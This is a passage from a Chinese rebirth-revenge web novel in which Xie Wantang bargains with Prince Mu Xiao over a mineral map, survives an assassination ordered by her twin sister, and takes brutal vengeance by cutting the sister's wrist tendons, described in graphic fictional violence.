天晴速度快,没一会儿就把谢晚棠请过来,带进了书房。 上辈子,谢晚棠进过慕枭的书房,连带着死后,她也几次追随着慕枭进来,看着慕枭对画独酌,愁云盈身。 她记得这里,记得这里的每一处布置。 谢晚棠眼眶泛红。 她缓缓看向慕枭。 刚好,慕枭也侧头看她,冷淡的眸光,在瞧见她微红的眼眶时,慕枭的眉头不禁蹙了蹙。 “进来坐吧,”对谢晚棠说了一声,慕枭随即看向天晴,“去泡壶茶来。” “是。” 天晴应声。 这时,谢晚棠是收回思绪,也看向天晴。 “就要雪顶含翠吧,有劳了。” 天晴闻言,冲着慕枭眨眨眼睛,雪顶含翠,这是慕枭最喜欢的茶了,谢晚棠倒是会选。 慕枭面无表情,他挥挥手,让天晴去准备。 天晴动作利落。 很快,他就将茶送过来了。 之后,天晴也没有多耽搁,他将茶水放下,给慕枭和谢晚棠倒好,就退出去了,把空间留给了他们。 书房里安安静静的,慕枭抬手,轻轻的摩挲茶盏。 “这份矿脉图,谢二小姐是从何得来的?” 谢晚棠垂眸端起茶盏。 “王爷,就那么不想见我吗?是不是,若是信封里放的,不是矿脉图,而是无关紧要的东西,那即便我来了,在门房候着,也见不到王爷?” 询问声里,带着浅浅的哀怨。 慕枭没做声。 很多时候,没回应,也是一种回应。 谢晚棠都懂,她低头品茶,雪顶含翠,依旧是从前的味道,只是到底隔了一世,物是人非。 再喝这茶,心境也大不相同了。 谢晚棠沉沉的叹了一口气,半晌过后,她才整理好心虚,放下茶盏起身。 到慕枭的桌案前,谢晚棠冲着慕枭伸手。 慕枭一愣。 “什么?” 谢晚棠勾唇,眉眼间尽是妩媚风情,“王爷与其问我,是从哪得来的矿脉图,还不如问问我,骑马过来,拉着缰绳把手拉红了,到底疼不疼?” 慕枭低头,看向谢晚棠的手。 谢晚棠很白,也很瘦,明明是侯府小姐,她手心却带着一层薄茧,可见是干惯了重活的。 她的手心处,一道红红的勒痕横亘在那,让人无法忽视。 只是,若是她不那么明目张胆的撩…… 大约会更好! 慕枭凝眉,开口时语气淡漠。 “本王请谢二小姐来,是有事要谈,若谢二小姐一直都是这个态度,那本王也不介意让人请谢二小姐出去。” “啧!” 谢晚棠咂舌。 并不因为慕枭的冷淡而退却,她反而手撑着桌案,更靠近了慕枭些。 淡淡的体香,混着浅浅的脂粉香,铺面而来。 慕枭下意识的往后退了退。 谢晚棠笑靥如花。 “明明该说扔出去的,王爷却偏偏说请出去,明显比之前含蓄了不少,王爷,这算是心软吗?外面的人都说王爷是活阎王,雷厉风行,铁血手腕,那这份不同寻常的心软,不会是……来自心动,来自在乎吧?” “天晴……” “动不动就叫天晴,王爷,这肚量是不是小了点?这天儿还能不能好好聊了?” 了解慕枭的性子,知道过犹不及,谢晚棠适可而止。 站直了身子,坐回到椅子上。 她也没再兜圈子。 “这份矿脉图,是我从谢詹杭的库房里拿到的,至于他是从哪得来的,我不清楚。但是,这东西他藏的很隐蔽,显然十分重视,再加上我对照过舆图,看过矿脉所在的位置,以及它周围的山势情况,我觉得这图有九成真。” 上辈子,在她死后,在慕枭得知真相,对谢婉宁和谢家发难时,谢詹杭就是靠着这幅矿脉图,让皇上龙心大悦的,甚至下旨赏他免死金牌。 若非如此,慕枭不至于被罚。 若非被罚,慈恩寺的通天阶,对于慕枭而言,走起来也不会那般艰难。 慕枭也不至于吃那么多苦,受那么多罪。 这东西很重要。 而这么重要的东西,就该早早的给慕枭。 这是谢詹杭欠慕枭的! “王爷手上能人异士不在少数,这矿脉图是真是假,王爷派人去探一探,想来会有答案。是真,那是收获,是假,王爷也不损失什么。” “本王会派人去。” 慕枭应声,随即又开口问道。 “谢詹杭从何得来的这东西,何时得来的,谢二小姐真不知道?” “不知。” “那谢二小姐又是如何知道,他有这东西的?谢二小姐不是被囚禁了十几年吗?不是被囿于那个小破院中,没出去过吗?” 慕枭心中疑惑丛生。 既然于谢詹杭而言,是极重要的东西,怎么会轻易被谢晚棠得到? 谢晚棠又为何会将这么重要的东西给他? 每一次见他,谢晚棠都表现的妩媚、热情,甚至魅惑、孟浪,这只是因为她说的,想抢姐姐的未婚夫婿吗? 慕枭好奇。 知道慕枭自来警觉,他会有此问,谢晚棠也不奇怪。 谢晚棠冲着慕枭笑笑,不答反问。 “不知王爷听说过一句话没有?” “什么话?” “话本子里写,女人就像是一本书,越神秘,才能越往后读,越觉得有意思。王爷,你对我的事好奇,我心中欢喜,但……来日方长,若与王爷能细水长流,长长久久,我更欢喜。” 一边说着,谢晚棠一边伸手,拎着茶壶往慕枭的茶盏中倒茶。 袅袅茶香随着水流氤氲扩散。 “就像这茶,这么香,总得慢慢品才好,一饮而尽,便犹若牛嚼牡丹,那可就失了韵味了。” 慕枭轻哼。 他不喜谢晚棠,也讨厌这种欲擒故纵。 他心中好奇,却并不意味着,他就一定要得到一个答案。 于他而言,只要东西是真的,那就够了,其他的,真真假假,是是非非,倒是无足轻重。 谢晚棠闭口不答,慕枭也不执着。 “说吧,拿出这么重要的东西,谢二小姐想要什么?” “想要什么都成?” 谢晚棠眼睛眨了眨,眼底里精光流淌。 慕枭毫不怀疑,若是他敢点头,那谢晚棠接下来要说的,必定是“以身相许”。 慕枭眸色微凛,先断了谢晚棠的念想,堵了她的嘴。 “谢二小姐是聪明人,应该知晓分寸,但凡是分寸内的,本王都会尽量满足。可若是谢二小姐不知分寸……” “王爷想如何?” “……” “矿脉图王爷看了,以王爷过目不忘的能力,就算我把东西拿回来,王爷也能寻到矿脉。肉都已经吃到嘴里了,王爷还想跟我谈分寸,难不成王爷还想翻脸,惩罚我?那……应该不是王爷的做事风格吧?” 慕枭没有答话。 谢晚棠见状,也不逼他,她轻轻勾唇。 “王爷放心,即便王爷不提分寸的事,我也不会要求这么稀里糊涂的进门的。” 这辈子,她要堂堂正正的站在慕枭身边。 上辈子,慕枭在她死后,才谈及的婚事,才唤的那一声“王妃”,这辈子,她得堂堂正正的听。 心里想着,谢晚棠随即开口。 “既然王爷问我想要什么,那我就提两个小要求好了,还望王爷慷慨……” 第72章 记于心 慕枭闻声,微微松了一口气。 有所求就好。 他这个人,不爱欠别人的,更不愿欠女人的,他更不想因为一时亏欠,被女人拿捏。 还是算清楚的好。 “说吧。” 谢晚棠很清楚慕枭在想什么,她也没有犹豫。 “第一个条件,我需要王爷给我两个人,最好是女子,能时刻在我身边伺候。模样倒是其次,别面目全非惨不忍睹就成,但功夫一定要好些,能自保,更能保护我,而我若安排什么事,她们能听我的,而且要能为我把事情办妥。” 这对于慕枭而言,并不是什么难事。 “天晴。” 书房外,天晴在守着,听到慕枭的声音,他快速进门。 慕枭吩咐,“调两个功夫好,性子也好的影卫,给谢二小姐,供她差遣。” “是。” 天晴应声,即刻去安排。 慕枭这才看向谢晚棠,“第二个条件呢?” 想要的人,谢晚棠已经得到了,在永昌侯府自保的筹码,她已经拿到手了。 至于这第二个条件,是进了书房,她才想到的。 是锦上添花! 看向慕枭,谢晚棠眉眼弯弯,“第二个条件,于王爷而言更简单,我听闻王爷极擅长丹青,尤其是擅画人物,连很多名家大师都比不上王爷。那就劳烦王爷,画一幅我的画像,挂在这书房里,如何?” “换一个。” 想也没想,慕枭就拒绝了。 谢晚棠摇头,“没有的换了,除了以身相许,和要两个人手之外,我能想到的,也就这么一个条件了,只是动动手而已,这王爷都不愿吗?” “……” “还是说,王爷愿意娶我,故意拒绝,想让我再坚持坚持?” “闭嘴。” 慕枭冷声呵斥,打断谢晚棠的话。 谢晚棠故作柔弱的缩了缩脖子,“好凶,那不然,我自己来画好了,王爷只管挂上就好。” “你……” “就这么定了,王爷稍候。” 谢晚棠打断慕枭,随即就绕过书案,去了慕枭身边。 她倾身去拿笔。 笔架在慕枭的右手边,谢晚棠这么凑过去,几乎大半的身子都越过了慕枭,与他贴的很近。 慕枭额上青筋直跳,有那么一瞬,他克制不住的想将谢晚棠扔出去。 孟浪! 不成体统! 可看看桌上的那幅矿脉图,慕枭到底忍住了。 向后挪了挪椅子,慕枭起身离开。 谢晚棠也不失望。 上辈子,她可是见过谢婉宁是怎么诱惑慕枭的,给自己喂了药,弄的衣衫凌乱,媚态横生,攀到慕枭身上主动勾引,可就是这样,慕枭都能不为所动,她这小打小闹,自然更算不得什么。 她本也没指望着靠这点媚态,能成什么事。 只是—— 慕枭的便宜,不占白不占。 有诱惑慕枭的机会,不行动白不行动! 而且,没被扔出去,没被断手断脚,没被吊起来打,这已经算是不错了。 她很知足。 谢晚棠唇角微扬,她冲着慕枭,露出一抹得逞的笑,随即坐在了慕枭刚刚坐过的椅子上。 自顾自的铺纸,谢晚棠快速落笔作画。 上辈子,慕枭也教过谢晚棠些作画的技巧,她也看过不少大师真迹,研究过一阵子。只是,作画这种事,靠天赋也靠努力,她天赋不多,努力更少,自然画技也就谈不上好。 好歹能画出个形来,有几分形似,已是难得了。 上辈子死后,谢晚棠才知道,慕枭曾画了两幅她的画像,放在书房的画缸里。 这辈子想等慕枭为她作画,怕是不易。 她索性自己来好了。 画,就挂在慕枭书房的墙上,她要慕枭日日看,夜夜看,哪怕慕枭心中对她没有半分情意,她也要慕枭把她的模样,烙印在心里,铭记于心。 这么想着,谢晚棠落笔的速度也更快了些。 她没多久就画好了。 “王爷看看,我画的可好?” 一边询问,谢晚棠一边把画拿起来,向慕枭展示。 慕枭看着画眉头紧锁。 谢晚棠的画,实在算不上好,哪怕她是画自己,也就只能画出七分形似,其神韵,画的还差得远呢。 画上的谢晚棠,比她本人的姿色,也要差不少。 只是,那画上人物的色彩搭配,跟他渲染着色的习惯很像。 就像是他一手教出来的一般。 怎么会这样? 慕枭不解,他盯着画失神。 谢晚棠隐隐能猜到慕枭在想什么,她也不戳破,她故意笑笑。 “王爷看的这般入神,可见我画的不错,既然是幅好画,那挂在书房里,也不算污了王爷的眼,损了王爷的品味。那我可就挂上了,嗯……就挂在舆图这吧,这位置好,王爷处理公务时,抬眼就能看到,心旷神怡,解乏的很,最好不过了。” 谢晚棠起身去挂画。 在女子中,谢晚棠的身量不算矮,可在慕枭眼里,她却是娇娇小小的。 看着她忙碌,慕枭眉头皱的更紧了。 可终究慕枭还是由了她,没有阻止! 慕枭转身去了窗边上,他推开窗子,看向外面,这时候,他就听到身后,又传来谢晚棠的声音。 “挂上画,这书房雅致多了,品味也提升多了。” 慕枭:“??” “王爷,我送你的帕子,你应该已经让人烧了吧?既然烧了帕子,那就不能再烧画喽。” 慕枭:“!!” 她知道的倒是多! 还是说,先送帕子,再送画,也是她一早就计划好的? 她……心计这么深吗? …… 从齐王府出来,谢晚棠就去了万仙楼。 与她一路同行的,还有慕枭让天晴安排的两个影卫—— 天岚、天月。 两个人模样清秀,性子温和,天晴说,她们两个功夫也是一众影卫中顶尖的,尤其是天岚,轻功绝顶,与他相差无几。天月的功夫差一些,但略通医术,也算是有一技之长,对她或有用处。 天晴细心,安排的也妥帖。 谢晚棠满意极了。 谢晚棠带着她们和知琴汇合,吃了东西,她就带着人回永昌侯府。 一路上,谢晚棠都是笑眯眯的。 她脑子里,都是慕枭从书房拂袖而去的模样,他大步流星,明明气冲冲的,却又碍于拿了矿脉图,拿她一点办法都没有。 上辈子,她印象中的慕枭清冷、疏离、寡淡,不苟言笑。 可这辈子—— 她的故意挑逗变多了,慕枭似乎也变得有趣多了。 真好! 谢晚棠想着,唇角上扬的弧度都更大了,当然,她也高兴另一件事,那就是知琴卖药材,换回了银票。 三百七十两。 这些银子,对于偌大的侯府来说,根本算不得什么。 可对于跟沈嬷嬷相依为命,在小破院里,甚至连烧炭取暖都成问题的谢晚棠而言,这却是一笔巨款。 这也是她安排事情,打点人手的筹码。 挺好的。 谢晚棠心里舒坦。 她也在心里盘算着,下一步就尽快诱谢婉宁出府。 眼下,永昌侯府正是多事之秋,乱的厉害,谢詹杭不在,谢夫人也顾不得谢婉宁,这种时候趁乱行事,解决谢婉宁,最合适不过了。 血债,得血偿。 上辈子是慕枭为她报的仇,这辈子,她要亲自动手,以牙还牙。 谢晚棠暗暗琢磨着,这时,马车突然剧烈晃动。谢晚棠不防,整个身子都向前栽了过去。 与此同时,外面赶车小厮的声音,也传了进来。 “啊——” 声音凄厉,一瞬即止。 谢晚棠被天岚、天月拉扯回来,稳住身形,天岚随即伸手掀开车帘子,几个人一起向外看去。 只见小厮肩头受伤,他从马车上栽下去,人几乎晕厥。 血,晕染了一片。 而两个黑衣人,正踩着血,踏上马车。 眼见着车厢帘子打开,两个黑衣人一起出手,剑尖,直奔着谢晚棠的面门而来…… 第73章 狭路逢 天岚、天月见状,快速出了马车,迎上黑衣人。 黑衣人功夫不弱,也亏得天岚、天月功夫好,才没有落了下风。 他们打做一团,战况胶着。 见状,知琴颤颤巍巍的抓住谢晚棠的胳膊,她努力侧着身子,尽力将谢晚棠护在身后。 “小……小姐,你躲好,别……别怕……” 知琴开口,声音哽咽。 她的心都要提到嗓子眼了,可饶是如此,她也没有退缩半分。 本路的主仆,能有多少情分? 谢晚棠完全没想到,这种时候,知琴会护着她。 上辈子,她身边只有沈嬷嬷和慕枭,也只有他们护着她,待她全心全意。重活一世,她把沈嬷嬷送走了,而慕枭还厌恶她,她以为自己会孤单单的,一个人在这群狼环伺的侯府中挣扎,单打独斗呢。 可多了个知琴。 见微知著。 别管以后如何,可至少此刻,从这一刻知琴的侧身里,她看得出知琴的真心。 谢晚棠眼眶微红,“这么护着我,你不怕吗?” “怕。” 知琴点头。 “可即便怕,奴婢也不能退,保护……保护主子,本就是奴婢的责任,是奴婢分内的事,奴婢也不该退。更何况,还有天岚、天月呢,她们两个好厉害,一定会没……没事的,一定会没事的。” 知琴断断续续的说着,似是在回应谢晚棠,也像是在安慰自己。 谢晚棠心中感动。 不过,她也没有太沉浸其中。 眼下不是感动的时候。 重生一世,谢晚棠才从小破院出来,除了今日出门,这些日子,她只去过一次惊风诗社,但也没有跟其他人多交流。除了谢家人,除了慕枭,她与旁人无交集,她至多也不过是活在大家津津乐道的传闻里,从没得罪谁,更不至于招来杀身之祸。 这种情况下,能对她下杀手的,也不过是谢家人。 谢詹杭被关押,还没回来。 谢夫人忙着谢詹杭的事,腾不出手来对付她,加之谢詹杭情况不好,谢夫人投鼠忌器,也不敢轻举妄动。 能动手的,也就只剩下了一个人—— 谢婉宁! 眼底里冷光闪烁,眼见着天岚、天月占了上风,两个黑衣人节节败退,谢晚棠快速吩咐。 “天岚、天月,给他们留一口气。” 人不能死。 但是,也别想好受。 将死不死,一口气吊着,这最好不过。 天岚、天月懂谢晚棠的心思,她们两个出手的速度,也更快了不少。 两个黑衣人都受了内伤,随着天岚她们出手加快,他们应付起来,也愈发的力不从心,他们两个想逃,但天岚她们早有防备,直接堵死了他们的路。 狭路相逢,他们从一开始的势均力敌,到最后的任人宰割,也不过用了一盏茶多些的工夫。 躺在地上,两个人浑身都疼,气息也微弱的厉害。 他们根本动弹不得。 天岚满意的收手,快速到谢晚棠的马车边上,她轻声询问。 “小姐,人已经制服了,接下来怎么处理?” “再动手审一审,嘴软的送到京兆府,嘴硬的……带着,随我一起回永昌侯府。” “是。” 天岚也不多问,即刻去安排。 很快,她就带了一个人回来。 至于天月,已经拖着另外一个半死不活的人,跑去京兆府了。 危机都解除了,谢晚棠也不耽搁,她看向知琴。 “知琴,这里是一百两银子,你拿着请人帮忙,带赶车的小厮去一趟医馆,今儿他是受我牵累,遭了无妄之灾,别管花多少银子,一定要把他治好了。若是不够,或是有什么其他的状况,回侯府找我,我来安排。” 高门大户里,下人的命是最不值钱的,生与死,也不过是主子一句话的事,无足轻重。 做主子的,也未必会在意。 知琴也习惯了。 她没想到,谢晚棠会这么在意小厮,甚至不惜拿出一百两。 谢晚棠的日子什么样,她看得出来,这一百两于谢晚棠而言有多重要,她也明白,她心里暖洋洋的。 “小姐,奴婢知道该怎么做,小姐放心吧。” “好,快去吧。” “是。” 知琴下了马车,去扶小厮,这位置距离医馆不远,找个人来帮忙也没有多难,她应付的来。 目送着知琴离开,谢晚棠给天岚使了个眼色。 “上车,咱们回府。” “奴婢赶车。” “好。” 谢晚棠应声,天岚随即将那黑衣人扔上车,她也跳上去,扬鞭催马,直奔永昌侯府。 马车上。 谢晚棠依偎着车厢,默默的摩挲着自己的拇指。 慕枭的拇指上带着玉扳指,他喜欢摩挲。 谢晚棠见多了,也跟着学会了,习惯了。 这样,就仿佛慕枭就在身边,她心静静的,纷乱的思绪越来越清明。 她也愈发知道,下一步该往哪走? 她的仇,又要如何报? …… 宁和园。 谢婉宁又给脸上的伤口上了一次药,可是,午睡醒来后,伤势似乎更严重了,那外翻的皮肉开始溃烂,隐隐还泛着一股难闻的味道。 就是谢婉宁自己,闻着那味儿,也忍不住作呕。 心里怕,她也疼也怒! “怎么会这样?” 厉声咆哮,谢婉宁忍不住,扬手就将铜镜,连带着胭脂水粉,头面首饰,全都扫到了地上。 知鸢瞧着她那模样,身形瑟缩。 这更惹恼了谢婉宁。 “你躲什么?” “小姐恕罪,奴婢……奴婢……” “你也嫌弃我是不是?”见知鸢支支吾吾的,半晌都说不出句完整的话,谢婉宁咬牙切齿,“你也觉得我脸伤了,模样难看了是吗?你觉得,我现在已经难看到惨不忍睹,让你恶心了是吗?” “小姐明鉴,奴婢没有。” 知鸢怕的厉害,她扑通一下就跪了下来。 可谢婉宁哪听得进去? 她拿起地上的簪子,就在知鸢的脸上划了一道,眼见着知鸢脸上血流蜿蜒而下,她疼的尖叫,谢婉宁忍不住痴痴的笑。 心里的压抑,裹挟着无助和疼,疯狂宣泄,形成一种扭曲的快感。 她痛快极了。 “知道什么叫疼吗?知道这种滋味,有多痛苦了吗?” “小姐……” “一个个的都嫌弃我,连爹娘都对我不闻不问,我堂堂侯府千金,到头来,还得看你们这些下贱胚子的脸色,你们哪来的胆子这般对我?你也不瞧瞧自己是什么货色,这般待我,你也配?” 谢婉宁怒骂,吐沫星子横飞。 她随即又将簪子握紧。 之前,让知鸢去安排对付谢晚棠,知鸢就左推右拦的,不大乐意。 那时候,她就已经想处理知鸢了。 知鸢该死! 谢婉宁想着,面目狰狞。 “不知趣的东西,心存异心,背主忘恩,和那死灾星一样讨人厌。你们这种人,就不该留在世上,就该死。人手都已经安排出去了,现在,那死灾星应该已经死了,我现在也送你下去,黄泉路上,你们也好有个伴,不那么寂寞,也算我对你们仁慈了。” 谢婉宁说着,即刻抬手,又将簪子扎向知鸢。 只是,这次她对准的,不再是知鸢的脸,而是知鸢的心口。 知鸢吓的身子瘫软。 她手撑着地,惊恐摇头,连连后退。 瞧着她那模样,谢婉宁怒不可遏,“贱人,你还敢跑?谁给你的胆子?给脸不要脸,那你就别怪我让你不得好死。” 谢婉宁冲向知鸢。 只是,她手里的簪子,还没碰到知鸢呢,就听到门外传来一阵脚步声。 不疾不徐,不轻不重,沉稳有力。 听到动静,谢婉宁下意识的抬眸,看向屋门口。 不过须臾,屋门口的帘子就被掀开了,冷风翻涌着扑进来,而与冷风同时进来的,还有谢晚棠、天岚,以及天岚搀扶着的黑衣人。 看到谢晚棠好端端的站在那,谢婉宁直接僵在了原地。 她脸上,尽是不敢置信。 “你……怎么回来了?这……怎么可能?” 第74章 执刀者 “你……你是人是鬼?” 一双眸子,紧盯着谢晚棠,谢婉宁下意识的开口询问。 谢晚棠嗤笑,她一步步的走向谢婉宁。 “姐姐希望我是人……还是鬼?” “你……” 那样的嘲弄笑意,谢婉宁太熟悉了,她心里明镜似的,谢晚棠真的没事,她没死,她完好无损的回来了。 狰狞可怖的脸上,泛着一抹不正常的惨白,谢婉宁本能的后退。 下一瞬,她冷眼看向知鸢。 “贱人,是你对不对?你在我这阳奉阴违呢,是不是?你根本没有按我说的安排,是不是?” “奴婢安排了,真的安排了。” “你胡说。” 他们永昌侯府的府卫,都是谢詹杭亲自挑选的,后续也都进行过训练,身手不俗。 若是知鸢真的安排了,别管找了谁去,谢晚棠都必死无疑。 她怎么可能回得来? “贱人,你……” “姐姐,”眼见着谢婉宁咆哮,火气全都冲着知鸢去了,谢晚棠笑着将她的话打断,“知鸢没骗你,她真的都按你说的安排了,两个府卫,在我回侯府的路上拦截我,要我的命,她都安排的妥妥的。喏,这不……你们的人还在这呢。” 谢晚棠话音落下,天岚微微用力,将扛着的黑衣人甩向谢婉宁。 砰—— 黑衣人砸在地上,响声沉闷。 谢婉宁急忙躲闪。 之前,地上砸了太多东西,一片狼藉,谢婉宁不慎,踩在脂粉瓷罐碎裂的瓷片上,脚疼的厉害,她身形踉跄,跌在地上。 她的目光,死死的盯着那个黑衣人。 一身黑衣破了好几处,每一处破损的位置,都可见血淋淋的伤口,整个屋里,都弥漫着一股血腥味儿。大约失血过多,黑衣人双目紧闭,脸色惨白,连带着唇上都毫无血色。 他气息也微弱的厉害。 若非他胸口,偶尔还有细微的起伏,谢婉宁真的会以为他已经死了。 “你……你动的手?” 看向谢晚棠,谢婉宁不敢置信。 谢晚棠怎么敢? 她又怎么做得到? 谢晚棠听着问话,脸上笑意盎然,她喜欢极了谢婉宁此刻的崩溃。 上辈子,谢婉宁是执刀者,她挣脱不了,只能任她鱼肉。而今重活一世,一切重来,她与谢婉宁易位,任人鱼肉的不再是她,而是谢婉宁了。 这感觉真好! 谢晚棠想着,她缓缓倾身靠近谢婉宁。 她漫不经心的抬手,从谢婉宁手里将簪子拿过来把玩,“是我动的手又如何?难不成,就只许姐姐下手,不允许我反击?” “你……” “姐姐派出去的两个人,我都弄成了这半死不活的样,嘴松的那个,已经送去京兆府了,想来那头一审问,姐姐安排府卫欲杀我的事,就会捅出来,你逃不了。至于嘴硬的这个,就在这了,我是特意带回来,让姐姐看看的,姐姐可还满意?” “死灾星,你怎么敢?” 把人弄成这样,手段残忍,把人送去京兆府,更是连侯府的死活都不顾了。 她疯了吗? 谢婉宁咆哮,却只换来谢晚棠一笑。 “姐姐,我为何不敢?” 对上谢婉宁的眸子,谢晚棠眉眼弯弯,她轻声回应,也不忘诱导。 “凡事可一不可再,之前,姐姐在小破院放火,想要烧死我,我没计较,已经算很宽容了。可这次,姐姐又安排人当街杀我,姐姐,你这般待我,还指望着我如何应对? 是,我性子软,心也软。 可是姐姐,泥人也是有三份脾气的。 我不是魏亭澜,被姐姐拖累,在一众达官显贵面前丢了脸面,丢了小诗仙的雅名,还被齐王责罚,身子虚弱,可饶是如此,他还日日到侯府外守着,只求能见阿娘一面,能向阿娘求娶你。 姐姐,我做不到那般痴心,这怨不得我。” 胡编乱造的话,谢晚棠张口就来,无中生有,她也说的笃定。 仿佛魏亭澜真来过似的。 仿佛她真的瞧见了似的。 谢婉宁信以为真,她没想到,魏亭澜能为她做到这般,日日来侯府,日日在外守着,只为娶她—— 谢婉宁眼眶瞬间泛红。 “真的?他……” “他魏亭澜如何,是他的事,而我只懂……人不犯我,我不犯人,人若犯我,斩草除根。” 谢晚棠直接打断谢婉宁。 诱导人的瞎话,点到为止足矣,说多了,反而容易多说多错,露出破绽。 不再提魏亭澜,谢晚棠自顾自的继续。 “你我双生姐妹,虽然姐姐不仁,但我要体面,要名声,总不能不义。更何况,我还得靠着永昌侯府呢,在这一亩三分地上,当着爹娘的面,我也不好把事情做绝了。说斩草除根,于姐姐于我,都非佳选,我自然也不会那般的不留情。” 听着这话,谢婉宁明显松了一口气,她慌乱的脸上,也多了份底气。 “你知道就好。” 手撑着地,谢婉宁想要踉跄着起身。 她一边起,一边念叨。 “我是爹娘的福星,我出生时,霞光满天,最是有福气的,即便爹娘现在忙,顾不上我,他们也不会真的对我的事不闻不问。你若真敢动我,他们是不会放过你的,你会求生不得,求死不能的,你会不得好死的。” 谢婉宁这话说的都是真的。 谢晚棠心里清楚。 只是,她更清楚,她可以退让,因为小不忍则乱大谋,但她却不能什么都不做,就这么放过谢婉宁,因为谢婉宁这种人,会蹬鼻子上脸,会得寸进尺,变本加厉。 她,不会给谢婉宁那个机会,她也不会让谢婉宁痛快。 谢晚棠快速伸手。 她的手,一下子就攥住了谢婉宁的手腕。 稍稍用力,就将谢婉宁又拉坐到地上,她笑的像只小狐狸。 “姐姐说的是,我是得识趣点,现在动不了姐姐,要不了姐姐这条命,所以我就不要。但是,姐姐应当知道的,我自小就生活在那个小破院里,我见到的天,就是那么一点点的天,我的眼界和格局,也囿于那一方天地里,我小气的紧。” 说完,谢晚棠缓缓摸上谢婉宁的手背。 一下一下,动作轻柔。 可谢婉宁却感觉汗毛倒竖,毛骨悚然,她下意识的想要把手抽回来。 谢晚棠不松手,她用力,只一下,她那已经接连脱臼两次,被断言难以痊愈的胳膊,就再次被拽脱臼了。 谢婉宁疼的几乎晕厥,她也怕的要命。 “你想做什么?你放开我,放开!” “会放开的。” 谢晚棠答。 可嘴上说着放开,她抓着谢婉宁的手,却在逐渐用力,她轻声继续。 “只是,不是现在罢了。” “你……” “姐姐纤纤玉手,着实好看,一看就是十指不沾阳春水的大家闺秀,手上透着福气样儿。若说毛病,我唯一能挑出来的,大约就是姐姐这手……总伸的太长,时不时的还黑一黑,让人心惊肉跳的。” 把谢婉宁的手,按在地上,谢晚棠脸上的笑更浓了。 四目相对,她缓缓道。 “姐姐不追求完美,我追求,故而,姐姐这毛病,我得为姐姐治治,姐姐不必太过感激。” “治什么治?我……啊……” 谢婉宁刚想要开口,她到嘴边的话,就转成了一声痛苦的嘶吼。 谢晚棠手中的簪子,径直插进了她的手腕。 对穿! 血,喷涌而出。 谢婉宁疼的一个字都说不出来。 可谢晚棠的手却没停,她从身后拿出匕首,对着谢婉宁刚刚受伤的手腕,猛地用力…… 第75章 话为饵 谢晚棠直接挑断了谢婉宁的手筋。 剧烈的疼痛,让谢婉宁承受不住,她两眼一黑,就晕了过去。 瞧着她的模样,谢晚棠眼里全是冷意,拉着谢婉宁的裙摆,漫不经心的擦拭匕首上的血,半晌她才开口吩咐。 “泼醒。” 天岚闻声去准备。 不一会儿,一盆冰水就泼到了谢婉宁的头上。 谢婉宁的脸本就痛的要命,突然受冰水刺激,她醒过来,只觉得痛感铺天盖地。 那种疼,让她头皮发麻。 谢晚棠蹲下,嘴角噙着一抹淡笑,她饶有兴致的看着谢婉宁。 “姐姐,这种滋味……姐姐感觉如何?” “你……” 谢婉宁疼的眼前发晕。 看着谢晚棠眉眼含笑的模样,她只觉得,此刻的谢晚棠,像是从地狱爬出来的恶鬼。 她怕! 可她更恨! “谢晚棠,你这么对我,爹娘是不会放过你的,你心狠手辣,你必定不得好死,就算是死,你也将不入轮回,将永世不得超生。” 谢婉宁怒骂,咬牙切齿。 这些话,对于死过一次,受尽折磨的谢晚棠而言,轻的像风。 她根本不在乎。 她看着谢婉宁,满眼戏谑之态。 “姐姐,你现在与其浪费体力骂我,倒不如省省力气,为自己考虑考虑。你要想想,以后还要不要针对我?要想想,承不承受得住我这般的报复?你也要想想,这样苦不堪言、状如水火的日子,有没有人能救你?这些,可比不痛不痒的骂我两句,要紧多了。” “你……” “你记住了,我是个睚眦必报,小肚鸡肠的人,你伤我一分,我就还你十分,我绝不会委屈自己,做任人揉捏的软柿子,以后……还望姐姐三思。” 话音落下,谢晚棠直接起身,去了床边上。 天岚见状跟了过去。 “小姐,这边可要处理?” “不用。” 无所谓的摇摇头,谢晚棠看着天岚,笑意清冷。 “这些杂事,咱们就不插手了,坐吧,回头我让人送点茶水糕点,咱们边吃边看戏就好。” 天岚一愣,“看戏?” 谢晚棠点头,“喏,仇敌崩溃欲死,这不是怡情生欢的好戏吗?” “是。” “那就是了,咱们只管瞧着就好,记得再多准备点瓜子,瞧着她挺痛的,也不知道要痛苦挣扎到什么时候呢,咱们这看戏消遣的小零嘴儿,可得备足了,别中间没了,影响了心情。” “是,奴婢明白。” 谢晚棠和天岚一唱一和,那些话,尽数落在了谢婉宁耳中。 谢婉宁本就痛,听着那些话,她更绝望。 她斗不过谢晚棠。 她也不想沦为取悦谢晚棠的笑料。 忍着疼,挣扎着起来,谢婉宁用手捂着受伤的手腕,踉跄着往外去。手腕伤的重,血不停的往下流,滴在地上,蜿蜒成串。 不一会儿,谢婉宁就出了屋。 知鸢也跟了出去。 一时间,屋里只剩了谢晚棠和天岚两个,天岚这才看向谢晚棠,疑惑的眨眨眼睛。 “小姐似乎不是多话的人,刚刚那些话……” 只是逞口舌之快吗? 不太对吧? 天岚不解,听问,谢晚棠勾了勾唇,把匕首收好,她道,“池塘里的鱼有很多种,有的鱼好钓,有的鱼难钓。碰上难钓的鱼,要多费些心思,而碰上好钓的鱼……就多费些嘴皮子。” “钓鱼?” 呢喃着这两个字,天岚眸子微微眯了眯。 虽然不清楚谢晚棠和谢婉宁之间的恩怨,不确定谢晚棠所说的“钓鱼”,具体是在谋算什么。 可她能感觉到—— 一个大坑在等着谢婉宁,她怕是要栽! …… 主院。 谢婉宁一路从宁和园过来,她碰上了不少下人,无一例外,所有见到她的人,都一副大惊失色的模样。 谢婉宁知道,他们都害怕她现在的脸。 她也清楚,他们那些惊骇恐惧之下,隐藏的是嫌恶。 可手腕太疼了。 疼到她根本顾不上那些下人。 加快脚步,踉跄着往主院里去,谢婉宁迫不及待的想要去见谢夫人,她要告诉谢夫人,谢晚棠都对她做了什么,她要告诉谢夫人,这种日子,她真的过不下去了,她要让谢夫人把谢晚棠千刀万剐。 院里,谢婉宁要进门时,刚好碰到从屋里出来的谢夫人。 她带着管家,行色匆匆,眉宇间尽是愁容。 只可惜谢婉宁根本没注意到。 “娘……” 一见到谢夫人,谢婉宁就冲上去,火急火燎的喊了一声。 她嗓子都发哑了。 这两日,忙着谢詹杭的事,谢夫人没空去见谢婉宁,乍然瞧见谢婉宁这副模样,她也着实心头一惊。 “宁儿,你这……怎么会这样?” 